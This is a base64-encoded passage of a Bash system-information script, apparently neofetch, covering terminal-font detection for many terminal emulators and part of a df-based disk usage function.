ICcvZm9udD0vIHthPSQyfSAvZm9udF9zaXplLyB7Yj0kMn0gRU5EIHtwcmludCBhLGJ9JyBcCiAgICAgICAgICAgICAgICAgICAgICAgICAiJHtYREdfQ09ORklHX0hPTUV9L2RlZXBpbi9kZWVwaW4tdGVybWluYWwvY29uZmlnLmNvbmYiKSIKICAgICAgICA7OwoKICAgICAgICAiR05Vc3RlcF9UZXJtaW5hbCIpCiAgICAgICAgICAgICB0ZXJtX2ZvbnQ9IiQoYXdrIC1GICc+fDwnICcvPlRlcm1pbmFsRm9udDwvIHtnZXRsaW5lOyBmPSQzfQogICAgICAgICAgICAgICAgICAgICAgICAgIC8+VGVybWluYWxGb250U2l6ZTwvIHtnZXRsaW5lOyBzPSQzfSBFTkQge3ByaW50IGYsc30nIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAiJHtIT01FfS9HTlVzdGVwL0RlZmF1bHRzL1Rlcm1pbmFsLnBsaXN0IikiCiAgICAgICAgOzsKCiAgICAgICAgIkh5cGVyIiopCiAgICAgICAgICAgIHRlcm1fZm9udD0iJChhd2sgLUYnOnwsJyAnL2ZvbnRGYW1pbHkvIHtwcmludCAkMjsgZXhpdH0nICIke0hPTUV9Ly5oeXBlci5qcyIpIgogICAgICAgICAgICB0ZXJtX2ZvbnQ9IiQodHJpbV9xdW90ZXMgIiR0ZXJtX2ZvbnQiKSIKICAgICAgICA7OwoKICAgICAgICAia2l0dHkiKikKICAgICAgICAgICAgdGVybV9mb250PSJmcm9tIGtpdHR5LmNsaSBpbXBvcnQgKjsgbyA9IGNyZWF0ZV9kZWZhdWx0X29wdHMoKTsgXAogICAgICAgICAgICAgICAgICAgICAgIHByaW50KGYne28uZm9udF9mYW1pbHl9IHtvLmZvbnRfc2l6ZX0nKSIKICAgICAgICAgICAgdGVybV9mb250PSIkKGtpdHR5ICtydW5weSAnJyIkdGVybV9mb250IicnKSIKICAgICAgICA7OwoKICAgICAgICAia29uc29sZSIgfCAieWFrdWFrZSIpCiAgICAgICAgICAgICMgR2V0IFByb2Nlc3MgSUQgb2YgY3VycmVudCBrb25zb2xlIHdpbmRvdyAvIHRhYgogICAgICAgICAgICBjaGlsZD0iJChnZXRfcHBpZCAiJCQiKSIKCiAgICAgICAgICAgIFFUX0JJTkRJUj0iJChxdHBhdGhzIC0tYmluYXJpZXMtZGlyKSIgJiYgUEFUSCs9IjokUVRfQklORElSIgoKICAgICAgICAgICAgSUZTPSQnXG4nIHJlYWQgLWQgIiIgLXJhIGtvbnNvbGVfaW5zdGFuY2VzIFwKICAgICAgICAgICAgICAgIDw8PCAiJChxZGJ1cyB8IGF3ayAnL29yZy5rZGUuJyIkdGVybSInLyB7cHJpbnQgJDF9JykiCgogICAgICAgICAgICBmb3IgaSBpbiAiJHtrb25zb2xlX2luc3RhbmNlc1tAXX0iOyBkbwogICAgICAgICAgICAgICAgSUZTPSQnXG4nIHJlYWQgLWQgIiIgLXJhIGtvbnNvbGVfc2Vzc2lvbnMgPDw8ICIkKHFkYnVzICIkaSIgfCBncmVwIC1GICcvU2Vzc2lvbnMvJykiCgogICAgICAgICAgICAgICAgZm9yIHNlc3Npb24gaW4gIiR7a29uc29sZV9zZXNzaW9uc1tAXX0iOyBkbwogICAgICAgICAgICAgICAgICAgIGlmICgoY2hpbGQgPT0gIiQocWRidXMgIiRpIiAiJHNlc3Npb24iIHByb2Nlc3NJZCkiKSk7IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgcHJvZmlsZT0iJChxZGJ1cyAiJGkiICIkc2Vzc2lvbiIgZW52aXJvbm1lbnQgfFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhd2sgLUYgJz0nICcvS09OU09MRV9QUk9GSUxFX05BTUUvIHtwcmludCAkMn0nKSIKICAgICAgICAgICAgICAgICAgICAgICAgW1sgJHByb2ZpbGUgXV0gfHwgcHJvZmlsZT0iJChxZGJ1cyAiJGkiICIkc2Vzc2lvbiIgcHJvZmlsZSkiCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICAgICAgZmkKICAgICAgICAgICAgICAgIGRvbmUKICAgICAgICAgICAgICAgIFtbICRwcm9maWxlIF1dICYmIGJyZWFrCiAgICAgICAgICAgIGRvbmUKCiAgICAgICAgICAgIFtbICRwcm9maWxlIF1dIHx8IHJldHVybgoKICAgICAgICAgICAgIyBXZSBjb3VsZCBoYXZlIHR3byBwcm9maWxlIGZpbGVzIGZvciB0aGUgc2FtZSBwcm9maWxlIG5hbWUsIHRha2UgZmlyc3QgbWF0Y2gKICAgICAgICAgICAgcHJvZmlsZV9maWxlbmFtZT0iJChncmVwIC1sICJOYW1lPSR7cHJvZmlsZX0iICIkSE9NRSIvLmxvY2FsL3NoYXJlL2tvbnNvbGUvKi5wcm9maWxlKSIKICAgICAgICAgICAgcHJvZmlsZV9maWxlbmFtZT0iJHtwcm9maWxlX2ZpbGVuYW1lLyQnXG4nKn0iCgogICAgICAgICAgICBbWyAkcHJvZmlsZV9maWxlbmFtZSBdXSAmJiBcCiAgICAgICAgICAgICAgICB0ZXJtX2ZvbnQ9IiQoYXdrIC1GICc9fCwnICcvRm9udD0vIHtwcmludCAkMiwkM30nICIkcHJvZmlsZV9maWxlbmFtZSIpIgogICAgICAgIDs7CgogICAgICAgICJseHRlcm1pbmFsIiopCiAgICAgICAgICAgIHRlcm1fZm9udD0iJChhd2sgLUYgJz0nICcvZm9udG5hbWU9LyB7cHJpbnQgJDI7IGV4aXR9JyBcCiAgICAgICAgICAgICAgICAgICAgICAgICAiJHtYREdfQ09ORklHX0hPTUV9L2x4dGVybWluYWwvbHh0ZXJtaW5hbC5jb25mIikiCiAgICAgICAgOzsKCiAgICAgICAgIm1hdGUtdGVybWluYWwiKQogICAgICAgICAgICAjIFRvIGdldCB0aGUgYWN0dWFsIGNvbmZpZyB3ZSBoYXZlIHRvIGNyZWF0ZSBhIHRlbXBvcmFyaWx5IGZpbGUgd2l0aCB0aGUKICAgICAgICAgICAgIyAtLXNhdmUtY29uZmlnIG9wdGlvbi4KICAgICAgICAgICAgbWF0ZXRlcm1fY29uZmlnPSIvdG1wL21hdGV0ZXJtLmNmZyIKCiAgICAgICAgICAgICMgRW5zdXJlIC90bXAgZXhpc3RzIGFuZCB3ZSBkbyBub3Qgb3ZlcndyaXRlIGFueXRoaW5nLgogICAgICAgICAgICBpZiBbWyAtZCAiL3RtcCIgJiYgISAtZiAiJG1hdGV0ZXJtX2NvbmZpZyIgXV07IHRoZW4KICAgICAgICAgICAgICAgIG1hdGUtdGVybWluYWwgLS1zYXZlLWNvbmZpZz0iJG1hdGV0ZXJtX2NvbmZpZyIKCiAgICAgICAgICAgICAgICByb2xlPSIkKHhwcm9wIC1pZCAiJHtXSU5ET1dJRH0iIFdNX1dJTkRPV19ST0xFKSIKICAgICAgICAgICAgICAgIHJvbGU9IiR7cm9sZSMjKiB9IgogICAgICAgICAgICAgICAgcm9sZT0iJHtyb2xlLy9cIn0iCgogICAgICAgICAgICAgICAgcHJvZmlsZT0iJChhd2sgLUYgJz0nIC12IHI9IiRyb2xlIiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnJDB+ciB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ2V0bGluZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigvTWF4aW1pemVkLykgZ2V0bGluZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigvRnVsbHNjcmVlbi8pIGdldGxpbmU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWQ9JDIiXSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ICQwfmlkIHtpZihpZCkge2dldGxpbmU7IHByaW50ICQyOyBleGl0fX0nIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRtYXRldGVybV9jb25maWciKSIKCiAgICAgICAgICAgICAgICBybSAtZiAiJG1hdGV0ZXJtX2NvbmZpZyIKCiAgICAgICAgICAgICAgICBtYXRlX2dldCgpIHsKICAgICAgICAgICAgICAgICAgIGdzZXR0aW5ncyBnZXQgb3JnLm1hdGUudGVybWluYWwucHJvZmlsZTovb3JnL21hdGUvdGVybWluYWwvcHJvZmlsZXMvIiQxIi8gIiQyIgogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmIFtbICIkKG1hdGVfZ2V0ICIkcHJvZmlsZSIgInVzZS1zeXN0ZW0tZm9udCIpIiA9PSAidHJ1ZSIgXV07IHRoZW4KICAgICAgICAgICAgICAgICAgICB0ZXJtX2ZvbnQ9IiQoZ3NldHRpbmdzIGdldCBvcmcubWF0ZS5pbnRlcmZhY2UgbW9ub3NwYWNlLWZvbnQtbmFtZSkiCiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgdGVybV9mb250PSIkKG1hdGVfZ2V0ICIkcHJvZmlsZSIgImZvbnQiKSIKICAgICAgICAgICAgICAgIGZpCiAgICAgICAgICAgICAgICB0ZXJtX2ZvbnQ9IiQodHJpbV9xdW90ZXMgIiR0ZXJtX2ZvbnQiKSIKICAgICAgICAgICAgZmkKICAgICAgICA7OwoKICAgICAgICAibWludHR5IikKICAgICAgICAgICAgdGVybV9mb250PSIkKGF3ayAtRiAnPScgJyEvXigkfCMpLyAmJiAvXlxccypGb250XFxzKj0vIHtwcmludGYgJDI7IGV4aXR9JyAiJHtIT01FfS8ubWludHR5cmMiKSIKICAgICAgICA7OwoKICAgICAgICAicGFudGhlb24iKikKICAgICAgICAgICAgdGVybV9mb250PSIkKGdzZXR0aW5ncyBnZXQgb3JnLnBhbnRoZW9uLnRlcm1pbmFsLnNldHRpbmdzIGZvbnQpIgoKICAgICAgICAgICAgW1sgLXogIiR7dGVybV9mb250Ly9cJ30iIF1dICYmIFwKICAgICAgICAgICAgICAgIHRlcm1fZm9udD0iJChnc2V0dGluZ3MgZ2V0IG9yZy5nbm9tZS5kZXNrdG9wLmludGVyZmFjZSBtb25vc3BhY2UtZm9udC1uYW1lKSIKCiAgICAgICAgICAgIHRlcm1fZm9udD0iJCh0cmltX3F1b3RlcyAiJHRlcm1fZm9udCIpIgogICAgICAgIDs7CgogICAgICAgICJxdGVybWluYWwiKQogICAgICAgICAgICB0ZXJtX2ZvbnQ9IiQoYXdrIC1GICc9JyAnL2ZvbnRGYW1pbHk9LyB7YT0kMn0gL2ZvbnRTaXplPS8ge2I9JDJ9IEVORCB7cHJpbnQgYSxifScgXAogICAgICAgICAgICAgICAgICAgICAgICAgIiR7WERHX0NPTkZJR19IT01FfS9xdGVybWluYWwub3JnL3F0ZXJtaW5hbC5pbmkiKSIKICAgICAgICA7OwoKICAgICAgICAic2FrdXJhIiopCiAgICAgICAgICAgIHRlcm1fZm9udD0iJChhd2sgLUYgJz0nICcvXmZvbnQ9LyB7cHJpbnQgJDI7IGV4aXR9JyBcCiAgICAgICAgICAgICAgICAgICAgICAgICAiJHtYREdfQ09ORklHX0hPTUV9L3Nha3VyYS9zYWt1cmEuY29uZiIpIgogICAgICAgIDs7CgogICAgICAgICJzdCIpCiAgICAgICAgICAgIHRlcm1fZm9udD0iJChwcyAtbyBjb21tYW5kPSAtcCAiJHBhcmVudCIgfCBncmVwIC1GIC0tICItZiIpIgoKICAgICAgICAgICAgaWYgW1sgIiR0ZXJtX2ZvbnQiIF1dOyB0aGVuCiAgICAgICAgICAgICAgICB0ZXJtX2ZvbnQ9IiR7dGVybV9mb250LyotZi99IgogICAgICAgICAgICAgICAgdGVybV9mb250PSIke3Rlcm1fZm9udC8gLSovfSIKCiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICMgT24gTGludXggd2UgY2FuIGdldCB0aGUgZXhhY3QgcGF0aCB0byB0aGUgcnVubmluZyBiaW5hcnkgdGhyb3VnaCB0aGUgcHJvY2ZzCiAgICAgICAgICAgICAgICAjIChpbiBjYXNlIGBzdGAgaXMgbGF1bmNoZWQgZnJvbSBvdXRzaWRlIG9mICRQQVRIKSBvbiBvdGhlciBzeXN0ZW1zIHdlIGp1c3QKICAgICAgICAgICAgICAgICMgaGF2ZSB0byBndWVzcyBhbmQgYXNzdW1lIGBzdGAgaXMgaW52b2tlZCBmcm9tIHNvbWV3aGVyZSBpbiB0aGUgdXNlcnMgJFBBVEgKICAgICAgICAgICAgICAgIFtbIC1MICIvcHJvYy8kcGFyZW50L2V4ZSIgXV0gJiYgYmluYXJ5PSIvcHJvYy8kcGFyZW50L2V4ZSIgfHwgYmluYXJ5PSIkKHR5cGUgLXAgc3QpIgoKICAgICAgICAgICAgICAgICMgR3JlcCB0aGUgb3V0cHV0IG9mIHN0cmluZ3Mgb24gdGhlIGBzdGAgYmluYXJ5IGZvciBhbnl0aGluZyB0aGF0IGxvb2tzIHZhZ3VlbHkKICAgICAgICAgICAgICAgICMgbGlrZSBhIGZvbnQgZGVmaW5pdGlvbi4gTk9URTogVGhlcmUgaXMgYSBzbGlnaHQgbGltaXRhdGlvbiBpbiB0aGlzIGFwcHJvYWNoLgogICAgICAgICAgICAgICAgIyBUZWNobmljYWxseSAiRm9udCBOYW1lIiBpcyBhIHZhbGlkIGZvbnQuIEFzIGl0IGRvZXNuJ3Qgc3BlY2lmeSBhbnkgZm9udCBvcHRpb25zCiAgICAgICAgICAgICAgICAjIHRob3VnaCBpdCBpcyBoYXJkIHRvIG1hdGNoIGl0IGNvcnJlY3RseSBhbW9uZ3N0IHRoZSByZXN0IG9mIHRoZSBub2lzZS4KICAgICAgICAgICAgICAgIFtbIC1uICIkYmluYXJ5IiBdXSAmJgogICAgICAgICAgICAgICAgICAgIHRlcm1fZm9udD0kKAogICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmdzICIkYmluYXJ5IiB8CgogICAgICAgICAgICAgICAgICAgICAgICBncmVwIC1tIDEgIipmb250W14yXSIKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgIGZpCgogICAgICAgICAgICB0ZXJtX2ZvbnQ9IiR7dGVybV9mb250L3hmdDp9IgogICAgICAgICAgICB0ZXJtX2ZvbnQ9IiR7dGVybV9mb250Iyo9fSIKICAgICAgICAgICAgdGVybV9mb250PSIke3Rlcm1fZm9udC86Kn0iCiAgICAgICAgOzsKCiAgICAgICAgInRlcm1pbm9sb2d5IikKICAgICAgICAgICAgdGVybV9mb250PSIkKHN0cmluZ3MgIiR7WERHX0NPTkZJR19IT01FfS90ZXJtaW5vbG9neS9jb25maWcvc3RhbmRhcmQvYmFzZS5jZmciIHxcCiAgICAgICAgICAgICAgICAgICAgICAgICBhd2sgJy9eZm9udFwubmFtZSQve3ByaW50IGF9e2E9JDB9JykiCiAgICAgICAgICAgIHRlcm1fZm9udD0iJHt0ZXJtX2ZvbnQvLnBjZn0iCiAgICAgICAgICAgIHRlcm1fZm9udD0iJHt0ZXJtX2ZvbnQvOip9IgogICAgICAgIDs7CgogICAgICAgICJ0ZXJtaXRlIikKICAgICAgICAgICAgW1sgLWYgIiR7WERHX0NPTkZJR19IT01FfS90ZXJtaXRlL2NvbmZpZyIgXV0gJiYgXAogICAgICAgICAgICAgICAgdGVybWl0ZV9jb25maWc9IiR7WERHX0NPTkZJR19IT01FfS90ZXJtaXRlL2NvbmZpZyIKCiAgICAgICAgICAgIHRlcm1fZm9udD0iJChhd2sgLUYgJz0gJyAnL1xbb3B0aW9uc1xdLyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9wdD0xCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC9eXHMqZm9udC8gewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihvcHQ9PTEpIGE9JDI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9wdD0wCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBFTkQge3ByaW50IGF9JyAiL2V0Yy94ZGcvdGVybWl0ZS9jb25maWciIFwKICAgICAgICAgICAgICAgICAgICAgICAgICIkdGVybWl0ZV9jb25maWciKSIKICAgICAgICA7OwoKICAgICAgICB1cnh2dHx1cnh2dGR8cnh2dC11bmljb2RlfHh0ZXJtKQogICAgICAgICAgICB4cmRiPSQoeHJkYiAtcXVlcnkpCiAgICAgICAgICAgIHRlcm1fZm9udD0kKGdyZXAgLWltIDEgLWUgIl4ke3Rlcm0vZH0iJ1wqKlwuKmZvbnQ6JyAtZSAnXlwqZm9udDonIDw8PCAiJHhyZGIiKQogICAgICAgICAgICB0ZXJtX2ZvbnQ9JHt0ZXJtX2ZvbnQvKiIqZm9udDoifQogICAgICAgICAgICB0ZXJtX2ZvbnQ9JHt0ZXJtX2ZvbnQvKiIuZm9udDoifQogICAgICAgICAgICB0ZXJtX2ZvbnQ9JHt0ZXJtX2ZvbnQvKiIqLmZvbnQ6In0KICAgICAgICAgICAgdGVybV9mb250PSQodHJpbSAiJHRlcm1fZm9udCIpCgogICAgICAgICAgICBbWyAteiAkdGVybV9mb250ICYmICR0ZXJtID09IHh0ZXJtIF1dICYmIFwKICAgICAgICAgICAgICAgIHRlcm1fZm9udD0kKGdyZXAgJ15YVGVybS52dDEwMC5mYWNlTmFtZScgPDw8ICIkeHJkYiIpCgogICAgICAgICAgICB0ZXJtX2ZvbnQ9JCh0cmltICIke3Rlcm1fZm9udC8qImZhY2VOYW1lOiJ9IikKCiAgICAgICAgICAgICMgeGZ0OiBpc24ndCByZXF1aXJlZCBhdCB0aGUgYmVnaW5uaW5nIHNvIHdlIHByZXBlbmQgaXQgaWYgaXQncyBtaXNzaW5nCiAgICAgICAgICAgIFtbICR7dGVybV9mb250OjA6MX0gIT0gJy0nICYmICR7dGVybV9mb250OjA6NH0gIT0geGZ0OiBdXSAmJiBcCiAgICAgICAgICAgICAgICB0ZXJtX2ZvbnQ9eGZ0OiR0ZXJtX2ZvbnQKCiAgICAgICAgICAgICMgWHJlc291cmNlcyBoYXMgdHdvIGRpZmZlcmVudCBmb250IGZvcm1hdHMsIHRoaXMgY2hlY2tzIHdoaWNoCiAgICAgICAgICAgICMgb25lIGlzIGluIHVzZSBhbmQgZm9ybWF0cyBpdCBhY2NvcmRpbmdseS4KICAgICAgICAgICAgY2FzZSAkdGVybV9mb250IGluCiAgICAgICAgICAgICAgICAqeGZ0OiopCiAgICAgICAgICAgICAgICAgICAgdGVybV9mb250PSR7dGVybV9mb250L3hmdDp9CiAgICAgICAgICAgICAgICAgICAgdGVybV9mb250PSR7dGVybV9mb250LzoqfQogICAgICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAtKikKICAgICAgICAgICAgICAgICAgICBJRlM9LSByZWFkIC1yIF8gXyB0ZXJtX2ZvbnQgXyA8PDwgIiR0ZXJtX2ZvbnQiCiAgICAgICAgICAgICAgICA7OwogICAgICAgICAgICBlc2FjCiAgICAgICAgOzsKCiAgICAgICAgInhmY2U0LXRlcm1pbmFsIikKICAgICAgICAgICAgdGVybV9mb250PSIkKGF3ayAtRiAnPScgJy9eRm9udE5hbWUve2E9JDJ9L15Gb250VXNlU3lzdGVtPVRSVUUve2E9JDB9IEVORCB7cHJpbnQgYX0nIFwKICAgICAgICAgICAgICAgICAgICAgICAgICIke1hER19DT05GSUdfSE9NRX0veGZjZTQvdGVybWluYWwvdGVybWluYWxyYyIpIgoKICAgICAgICAgICAgW1sgIiR0ZXJtX2ZvbnQiID09ICJGb250VXNlU3lzdGVtPVRSVUUiIF1dICYmIFwKICAgICAgICAgICAgICAgIHRlcm1fZm9udD0iJChnc2V0dGluZ3MgZ2V0IG9yZy5nbm9tZS5kZXNrdG9wLmludGVyZmFjZSBtb25vc3BhY2UtZm9udC1uYW1lKSIKCiAgICAgICAgICAgIHRlcm1fZm9udD0iJCh0cmltX3F1b3RlcyAiJHRlcm1fZm9udCIpIgoKICAgICAgICAgICAgIyBEZWZhdWx0IGZhbGxiYWNrIGZvbnQgaGFyZGNvZGVkIGluIHRlcm1pbmFsLXByZWZlcmVuY2VzLmMKICAgICAgICAgICAgW1sgLXogIiR0ZXJtX2ZvbnQiIF1dICYmIHRlcm1fZm9udD0iTW9ub3NwYWNlIDEyIgogICAgICAgIDs7CgogICAgICAgIGNvbmVtdS0qKQogICAgICAgICAgICAjIENvdWxkIGhhdmUgdXNlZCBgZXZhbCBzZXQgLS0gIiRDb25FbXVBcmdzImAgaW5zdGVhZCBmb3IgYXJnIHBhcnNpbmcuCiAgICAgICAgICAgIHJlYWRhcnJheSAtdCBjZV9hcmdfbGlzdCA8IDwoeGFyZ3MgLW4xIHByaW50ZiAiJXNcbiIgPDw8ICIke0NvbkVtdUFyZ3MtfSIpCgogICAgICAgICAgICBmb3IgY2VfYXJnX2lkeCBpbiAiJHshY2VfYXJnX2xpc3RbQF19IjsgZG8KICAgICAgICAgICAgICAgICMgU2VhcmNoIGZvciAiLUxvYWRDZmdGaWxlIiBhcmcKICAgICAgICAgICAgICAgIFtbICIke2NlX2FyZ19saXN0WyRjZV9hcmdfaWR4XX0iID09IC1Mb2FkQ2ZnRmlsZSBdXSAmJiB7CiAgICAgICAgICAgICAgICAgICAgIyBDb25mIHBhdGggaXMgdGhlIG5leHQgYXJnCiAgICAgICAgICAgICAgICAgICAgY2VfY29uZj0ke2NlX2FyZ19saXN0WysrY2VfYXJnX2lkeF19CiAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgZG9uZQoKICAgICAgICAgICAgIyBodHRwczovL2NvbmVtdS5naXRodWIuaW8vZW4vQ29uRW11WG1sLmh0bWwjc2VhcmNoLXNlcXVlbmNlCiAgICAgICAgICAgIGZvciBjZV9jb25mIGluICIkY2VfY29uZiIgIiR7Q29uRW11RGlyLX1cQ29uRW11LnhtbCIgIiR7Q29uRW11RGlyLX1cLkNvbkVtdS54bWwiIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIiR7Q29uRW11QmFzZURpci19XENvbkVtdS54bWwiICIke0NvbkVtdUJhc2VEaXItfVwuQ29uRW11LnhtbCIgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAiJEFQUERBVEFcQ29uRW11LnhtbCIgIiRBUFBEQVRBXC5Db25FbXUueG1sIjsgZG8KICAgICAgICAgICAgICAgICMgU2VhcmNoIGZvciBmaXJzdCBjb25mIGZpbGUgYXZhaWxhYmxlCiAgICAgICAgICAgICAgICBbWyAtZiAiJGNlX2NvbmYiIF1dICYmIHsKICAgICAgICAgICAgICAgICAgICAjIFZlcnkgYmFzaWMgWE1MIHBhcnNpbmcKICAgICAgICAgICAgICAgICAgICB0ZXJtX2ZvbnQ9IiQoYXdrICcvbmFtZT0iRm9udE5hbWUiLyAmJiBtYXRjaCgkMCwgL2RhdGE9IihbXiJdKikiLykgewogICAgICAgICAgICAgICAgICAgICAgICBwcmludCBzdWJzdHIoJDAsIFJTVEFSVCs2LCBSTEVOR1RILTcpfScgIiRjZV9jb25mIikiCiAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgZG9uZQoKICAgICAgICAgICAgIyBOdWxsLXRlcm1pbmF0ZWQgY29udGVudHMgaW4gL3Byb2MvcmVnaXN0cnkgZmlsZXMgdHJpZ2dlcnMgYSBCYXNoIHdhcm5pbmcuCiAgICAgICAgICAgIFtbICIkdGVybV9mb250IiBdXSB8fCByZWFkIC1yIHRlcm1fZm9udCA8IFwKICAgICAgICAgICAgICAgIC9wcm9jL3JlZ2lzdHJ5L0hLRVlfQ1VSUkVOVF9VU0VSL1NvZnR3YXJlL0NvbkVtdS8uVmFuaWxsYS9Gb250TmFtZQogICAgICAgIDs7CiAgICBlc2FjCn0KCmdldF9kaXNrKCkgewogICAgdHlwZSAtcCBkZiAmPi9kZXYvbnVsbCB8fAogICAgICAgIHsgZXJyICJEaXNrIHJlcXVpcmVzICdkZicgdG8gZnVuY3Rpb24uIEluc3RhbGwgJ2RmJyB0byBnZXQgZGlzayBpbmZvLiI7IHJldHVybjsgfQoKICAgIGRmX3ZlcnNpb249JChkZiAtLXZlcnNpb24gMj4mMSkKCiAgICBjYXNlICRkZl92ZXJzaW9uIGluCiAgICAgICAgKklNaXR2KikgICBkZl9mbGFncz0oLVAgLWcpIDs7ICMgQUlYCiAgICAgICAgKmJlZmhpa20qKSBkZl9mbGFncz0oLVAgLWspIDs7ICMgSVJJWAogICAgICAgICpoaWtsblAqKSAgZGZfZmxhZ3M9KC1oKSAgICA7OyAjIE9wZW5CU0QKCiAgICAgICAgKlRyYWNrZXIqKSAjIEhhaWt1CiAgICAgICAgICAgIGVyciAiWW91ciB2ZXJzaW9uIG9mIGRmIGNhbm5vdCBiZSB1c2VkIGR1ZSB0byB0aGUgbm9uLXN0YW5kYXJkIGZsYWdzIgogICAgICAgICAgICByZXR1cm4KICAgICAgICA7OwoKICAgICAgICAqKSBkZl9mbGFncz0oLVAgLWgpIDs7CiAgICBlc2FjCgogICAgIyBDcmVhdGUgYW4gYXJyYXkgY2FsbGVkICdkaXNrcycgd2hlcmUgZWFjaCBlbGVtZW50IGlzIGEgc2VwYXJhdGUgbGluZSBmcm9tCiAgICAjIGRmJ3Mgb3V0cHV0LiBXZSB0aGVuIHVuc2V0IHRoZSBmaXJzdCBlbGVtZW50IHdoaWNoIHJlbW92ZXMgdGhlIGNvbHVtbiB0aXRsZXMuCiAgICBJRlM9JCdcbicgcmVhZCAtZCAiIiAtcmEgZGlza3MgPDw8ICIkKGRmICIke2RmX2ZsYWdzW0BdfSIgIiR7ZGlza19zaG93W0BdOi0vfSIpIgogICAgdW5zZXQgImRpc2tzWzBdIgoKICAgICMgU3RvcCBoZXJlIGlmICdkZicgZmFpbHMgdG8gcHJpbnQgZGlzayBpbmZvLgogICAgW1sgJHtkaXNrc1sqXX0gXV0gfHwgewogICAgICAgIGVyciAiRGlzazogZGYgZmFpbGVkIHRvIHByaW50IHRoZSBkaXNrcywgbWFrZSBzdXJlIHRoZSBkaXNrX3Nob3cgYXJyYXkgaXMgc2V0IHByb3Blcmx5LiIKICAgICAgICByZXR1cm4KICAgIH0KCiAgICBmb3IgZGlzayBpbiAiJHtkaXNrc1tAXX0iOyBkbwogICAgICAgICMgQ3JlYXRlIGEgc2Vjb25kIGFycmF5IGFuZCBtYWtlIGVhY2ggZWxlbWVudCBzcGxpdCBhdCB3aGl0ZXNwYWNlIHRoaXMgdGltZS4KICAgICAgICBJRlM9IiAiIHJlYWQgLXJhIGRpc2tfaW5mbyA8PDwgIiRkaXNrIgogICAgICAgIGRpc2tfcGVyYz0ke2Rpc2tfaW5mb1skeyNkaXNrX2luZm9bQF19IC0gMl0vXCV9CgogICAgICAgIGNhc2UgJGRpc2tfcGVyY2VudCBpbgogICAgICAgICAgICBvZmYpIGRpc2tfcGVyYz0KICAgICAgICBlc2FjCgogICAgICAgIGNhc2UgJGRmX3ZlcnNpb24gaW4KICAgICAgICAgICAgKmJlZmhpa20qKQogICAgICAgICAgICAgICAgZGlzaz0kKChkaXNrX2luZm9bJHsjZGlza19pbmZvW0BdfSAtIDRdIC8gMTAyNCAvIDEwMjQpKUcKICAgICAgICAgICAgICAgIGRpc2srPSIgLyAiCiAgICAgICAgICAgICAgICBkaXNrKz0kKChkaXNrX2luZm9bJHsjZGlza19pbmZvW0BdfSAtIDVdIC8gMTAyNC8gMTAyNCkpRwogICAgICAgICAgICAgICAgZGlzays9JHtkaXNrX3BlcmM6KyAoJGRpc2tfcGVyYyUpfQogICAgICAgICAgICA7OwoKICAgICAgICAgICAgKikKICAgICAgICAgICAgICAgIGRpc2s9JHtkaXNrX2luZm9bJHsjZGlza19pbmZvW0BdfSAtIDRdL2l9CiAgICAgICAgICAgICAgICBkaXNrKz0iIC8gIgogICAgICAgICAgICAgICAgZGlzays9JHtkaXNrX2luZm9bJHsjZGlza19pbmZvW0BdfSAtIDVdL2l9CiAgICAgICAgICAgICAgICBkaXNrKz0ke2Rpc2tfcGVyYzorICgkZGlza19wZXJjJSl9CiAgICAgICAgICAgIDs7CiAgICAgICAgZXNhYwoKICAgICAgICBjYXNlICRkaXNrX3N1YnRpdGxlIGluCiAgICAgICAgICAgIG5hbWUpCiAgICAgICAgICAgICAgICBkaXNrX3N1Yj0ke2Rpc2tfaW5mb1sqXTo6JHsjZGlza19pbmZvW0BdfSAtIDV9CiAgICAgICAgICAgIDs7CgogICAgICAgICAgICBkaXIpCiAgICAgICAgICAgICAgICBkaXNrX3N1Yj0ke2Rpc2tfaW5mb1skeyNkaXNrX2luZm9bQF19IC0gMV0vKlwvfQogICAgICAgICAgICAgICAgZGlza19zdWI9JHtkaXNrX3N1YjotJHtkaXNrX2luZm9bJHsjZGlza19pbmZvW0BdfSAtIDFdfX0KICAgICAgICAgICAgOzsKCiAgICAgICAgICAgIG5vbmUpIDs7CgogICAgICAgICAgICAqKQogICAgICAgICAgICAgICAgZGlza19zdWI9JHtkaXNrX2luZm9bJHsjZGlza19pbmZvW0BdfSAtIDFdfQogICAgICAgICAgICA7OwogICAgICAgIGVzYWMKCiAgICAgICAgY2FzZSAkZGlza19kaXNwbGF5IGluCiAgICAgICAgICAgIGJhcikgICAgIGRpc2s9IiQoYmFyICIkZGlza19wZXJjIiAiMTAwIikiIDs7CiAgICAgICAgICAgIGluZm9iYXIpIGRpc2srPSIgJChiYXIgIiRkaXNrX3BlcmMiICIxMDAiKSIgOzsKICAgICAgICAgICAg